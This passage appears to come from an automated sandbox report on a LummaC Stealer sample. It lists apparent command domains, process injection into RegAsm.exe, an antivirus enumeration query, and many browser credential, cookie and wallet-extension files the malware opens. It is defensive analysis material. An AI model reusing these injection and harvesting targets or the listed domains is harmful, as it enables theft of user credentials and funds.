Source: mkFOY01Gl5.exe, 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: pedestriankodwu.xyz
Source: mkFOY01Gl5.exe, 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: towerxxuytwi.xyzd
Source: mkFOY01Gl5.exe, 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: ellaboratepwsz.xyzu
Source: mkFOY01Gl5.exe, 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: penetratedpoopp.xyz
Source: mkFOY01Gl5.exe, 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: swellfrrgwwos.xyz
Source: mkFOY01Gl5.exe, 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: contintnetksows.shop
Source: mkFOY01Gl5.exe, 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: foodypannyjsud.shop
Source: mkFOY01Gl5.exe, 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: potterryisiw.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000	Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000	Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 454000	Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 74F008	Jump to behavior

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Code function: 0_2_000F779C cpuid

0_2_000F779C

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: GetLocaleInfoW,	0_2_00106831
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: EnumSystemLocalesW,	0_2_0010D83B
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: EnumSystemLocalesW,	0_2_0010D886
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: EnumSystemLocalesW,	0_2_0010D921
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0010D9AC
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: EnumSystemLocalesW,	0_2_001062CB
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: GetLocaleInfoW,	0_2_0010DBFF
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0010DD28
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0010D599
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: GetLocaleInfoW,	0_2_0010DE2E
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0010DEFD
Source: C:\Users\user\Desktop\mkFOY01Gl5.exe	Code function: GetLocaleInfoW,	0_2_0010D794

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\mkFOY01Gl5.exe

Code function: 0_2_000F7BC3 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_000F7BC3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

